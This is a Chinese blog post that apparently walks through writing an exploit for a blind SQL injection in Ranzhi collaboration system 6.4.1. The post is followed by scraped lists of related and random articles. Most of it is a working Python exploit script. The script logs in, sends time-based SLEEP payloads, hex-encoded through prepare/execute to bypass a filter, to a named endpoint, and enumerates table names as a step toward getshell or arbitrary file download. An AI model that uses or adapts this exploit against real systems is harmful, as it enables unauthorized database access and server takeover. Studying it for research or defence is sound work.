前言

前面已经说明了 漏洞成因,这里介绍一下 exp 的编写。

正文

为了 getshell 或者是 任意文件下载, 我们需要修改 数据库中的 前缀sys_file 表, 所以我们的利用方式如下

  • 使用 sql 注入 获取程序数据库中任何一个表名, 取得前缀 pre
  • 然后向 presys_file 中插入目标路径。

mysql 5 中可以使用 information_schema  来获取指定数据库中的表。

在  information_schema   中的 tables 表里面存放着整个 mysql 里面保存的表的信息, table_schema 为 表所在的数据库, table_name 为表名。

所以使用

SELECT table_name FROM information_schema.tables where table_schema=database()

就可以得到 当前数据库的 所有表的表名(database() 返回当前的数据库名称)。

由于没有回显,需要使用一些 条件判断 相关的函数,这里我使用 if

select if(ASCII(SUBSTR((SELECT table_name FROM information_schema.tables where table_schema=database() LIMIT 0,1) ,1 ,1))=16, SLEEP(3), 1)

if 的第一参数为 1 则返回第二个参数的值,否则返回 第3个参数的值.

上面的语句用到了子查询和 acsiisubstr 来对检索到的结果根据其 ascii 值进行枚举,如果枚举到了,就 sleep(3)

我们可以通过判断服务器的响应时间,来判断当前枚举位的具体值。

同时子查询只允许返回一行,所以使用 了 limit 0,1 来只返回第一条结果。

枚举表名的关键代码如下

    table_name = ""
for i in range(1, table_len + 1):
for j in range(1, 129):
payload = get_payload_encode(
'''select if(ASCII(SUBSTR((SELECT table_name FROM information_schema.tables where table_schema=database() LIMIT 0,1) ,{} ,1))={}, SLEEP(3), 1);'''.format(
i, j)) start = time.time()
requests.get(host)
nor_time = (time.time() - start) start = time.time()
requests.get(target + payload.decode("utf-8"), headers=headers, cookies=cookies)
att_time = (time.time() - start)
if att_time - nor_time > 2:
table_name += chr(j)
print(table_name)
break

还有一个注意的就是,程序过滤了 _, 这里使用 prepareexecute 组合进行绕过,因为 mysql 支持字符串使用 16 进制编码输入。

def get_payload_encode(payload):
sql = "set @query=0x{};prepare stmt from @query;execute stmt;".format(binascii.b2a_hex(payload.encode("utf-8")).decode("utf-8"))
raw = {"orderBy": "id limit 0,1;{}#".format(sql)}
raw = json.dumps(raw)
return base64.b64encode(raw.encode("utf-8")) # str---> byte 用 encode

最后的 exp:

# coding=utf-8
import requests
import base64
import time
import json
import binascii
import re
import hashlib
import chardet def get_md5(input):
input = input.encode("utf-8")
m = hashlib.md5()
m.update(input)
return m.hexdigest() def get_payload_encode(payload):
sql = "set @query=0x{};prepare stmt from @query;execute stmt;".format(binascii.b2a_hex(payload.encode("utf-8")).decode("utf-8"))
raw = {"orderBy": "id limit 0,1;{}#".format(sql)}
raw = json.dumps(raw)
return base64.b64encode(raw.encode("utf-8")) # str---> byte 用 encode # get_db_name(host) def get_table_name(host):
path = "/cash/block-printTradeBlock.html?param="
target = host + path
# 查表名
table_len = 0
for i in range(1, 100):
payload = get_payload_encode(
'''select if((SELECT LENGTH(table_name)FROM information_schema.tables where table_schema=database() LIMIT 0,1)={}, SLEEP(3), 1);'''.format(
i))
start = time.time()
requests.get(host)
nor_time = (time.time() - start) start = time.time()
requests.get(target + payload.decode("utf-8"), headers=headers, cookies=cookies)
att_time = (time.time() - start) if att_time - nor_time > 2:
table_len = i
break print("db_len: %d" %(table_len)) table_name = ""
for i in range(1, table_len + 1):
for j in range(1, 129):
payload = get_payload_encode(
'''select if(ASCII(SUBSTR((SELECT table_name FROM information_schema.tables where table_schema=database() LIMIT 0,1) ,{} ,1))={}, SLEEP(3), 1);'''.format(
i, j)) start = time.time()
requests.get(host)
nor_time = (time.time() - start) start = time.time()
requests.get(target + payload.decode("utf-8"), headers=headers, cookies=cookies)
att_time = (time.time() - start)
if att_time - nor_time > 2:
table_name += chr(j)
print(table_name)
break def login(url, username , password):
target = url + "/sys/user-login.html"
data = {"account": "admin", "password": "d4dba0bc2f7e946feaeacbdcdc167131",
"referer": "http://hack.ranzhi.top/sys/index.html", "rawPassword": "21232f297a57a5a743894a0e4a801fc3",
"keepLogin": "false"} res = requests.get(target, headers=headers)
cookies['rid'] = res.cookies['rid']
random = re.findall('v\.random = "(.*?)";', res.text)[0] # 生成登录需要的数据
data['account'] = username
data['referer'] = target
data['rawPassword'] = get_md5(password)
data['password'] = get_md5(get_md5(get_md5(password) + username) + random) res = requests.post(target, headers=headers, cookies=cookies, data=data)
if "self.location" in res.content.decode("utf-8"):
print("登录成功,下面开始 exploit")
else:
print("登录失败")
exit(0) if __name__ == '__main__':
proxies = {"http": "http://127.0.0.1:8080", "https": "https://127.0.0.1:8080", } cookies = {"lang": "zh-cn", "theme": "default", "keepLogin": "false", "rid": "6n6panbh36uqiqj4k5o0nbscq2",
" XDEBUG_SESSION": "19857"}
headers = {"Pragma": "no-cache", "Cache-Control": "no-cache", "Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8",
"Referer": "http://hack.ranzhi.top/sys/index.php", "Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"} host = "http://hack.ranzhi.top:80/"
# get_table_name(host) login(host, "test", "111111")
get_table_name(host)

然之协同系统6.4.1 SQL注入之exp编写的更多相关文章

  1. 然之协同系统6.4.1 SQL注入导致getshell

     前言 先知上一个大佬挖的洞,也有了简单的分析 https://xianzhi.aliyun.com/forum/topic/2135 我自己复现分析过程,漏洞的原理比较简单,但是漏洞的利用方式对我而 ...

  2. [代码审计]某租车系统JAVA代码审计[前台sql注入]

    0x00 前言 艰难徘徊这么久,终于迈出第一步,畏畏缩缩是阻碍大多数人前进的绊脚石,共勉. 系统是租车系统,这个系统是Adog师傅之前发在freebuf(http://www.freebuf.com/ ...

  3. SQL注入问题------JDBC编写简单登录代码

    一.什么是sql注入 sql注入:用户输入的内容, 有一些sql的特殊关键字参与字符串的拼接,完成了一条逻辑发生变化的新的SQL语句 !用代码举个例子简单说明一下: package cn.zhbit. ...

  4. PHPCMS V9.6.0 SQL注入漏洞EXP

    运行于python3.5 import requests import time import re import sys def banner(): msg = '''--------------E ...

  5. SQL注入专题

    SQL注入专题--整理帖 SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别, 所以目前市面的防火墙都不会对SQL注入发出警报,如果管理员没查看IIS日志的习惯,可能被 ...

  6. 了解SQL注入攻击

    SQL注入:利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,这是SQL注入的标准释义. 随着B/S模式被广泛的应用,用这种模式编写应用程序的程序员也越来越多,但由于开发人员的水 ...

  7. 深入浅出SQL注入

    原文:深入浅出SQL注入 之前在做学生信息管理系统和机房收费系统的时候,对于SQL注入的问题已经是司空见惯,但是并没有真正的地形象生动的理解SQL注入到底是什么玩意儿.直到这次做牛腩才在牛老师的举例之 ...

  8. SQL注入原理及绕过安全狗

    1.什么是SQL注入攻击 SQL注入攻击指的是通过构造特殊的输入作为参数插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令 http://www.xxx.com/list. ...

  9. 安全测试之sql注入

    不管是web界面还是app,都会涉及表单输入和提交,如果程序员没有对提交的字符进行过滤或者特殊处理,很容易会产生问题,这里讲的的sql注入就是其中一种方式,在表单中输入sql语句达到进入系统的目的. ...

随机推荐

  1. start and end call use itelephony and how to pick up a call

    Bluetooth Headset service: 但想想而已. 没有蓝牙耳机如何调用它来接听电话.想想有点搞笑. 网上扒的通过添加一个ITelephony.aidl来反射,注意aidl的写法,如果 ...

  2. Mac 10.12安装专业抓包工具Wireshark

    说明:专业到不太会用. 下载: (链接: https://pan.baidu.com/s/1c570YE 密码: pkmr)

  3. CKEditor图片上传实现详细步骤(使用Struts 2)

    本人使用的CKEditor版本是3.6.3.CKEditor配置和部署我就不多说. CKEditor的编辑器工具栏中有一项“图片域”,该工具可以贴上图片地址来在文本编辑器中加入图片,但是没有图片上传. ...

  4. Attribute基本介绍

    一.基础知识点 1.什么是Attribute? MSDN:公共语言运行时允许你添加类似关键字的说明,叫做Attribute,它可以对程序中的元素进行标注,如类型.字段.方法和属性等.Attribute ...

  5. java io流 数据流 DataInputStream、DataOutputStream、ByteArrayInputStream、ByteArrayOutputStream

    例子程序: package io; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import ...

  6. XXX is not in the sudoers file. This incident will be reported 的问题解决方案

    不多说,直接上干货! 说的是,这种问题,是出现在ubuntu系统里. root@SparkSingleNode:/usr/local/jdk# pwd /usr/local/jdk root@Spar ...

  7. 解决Linux下pcieport 0000:00:1c.5问题导致的系统根目录/磁盘空间不足

    最近刚换了笔记本,拿到本后在win10基础装上Ubuntu 16.04双系统,有个问题是每次关机都会报一堆pcie问题,并且经常没声音,声音问题通过上一篇文章暂时解决,然后就没在意了,可是几天后出现系 ...

  8. InnoDB的B+树索引

    B+树索引其本质就是B+树在数据库中的实现,但是B+索引在数据库中有一个特点就是其高扇出性,因此在数据库中,B+树的高度一般都在2-3层,也就是对于查找某一键值的行记录,最多只需要2到3次IO,这倒不 ...

  9. Eclipse: User Operation is waiting for “Building Workspace”

    这个情况可能有多个原因导致,比如,非正常关闭eclipse,时钟不匹配等等,可能解决的方法有: 1. 删除<workspace_folder>/.metadata/.lock文件 2. e ...

  10. vue nextTick深入理解-vue性能优化、DOM更新时机、事件循环机制

    一.定义[nextTick.事件循环] nextTick的由来: 由于VUE的数据驱动视图更新,是异步的,即修改数据的当下,视图不会立刻更新,而是等同一事件循环中的所有数据变化完成之后,再统一进行视图 ...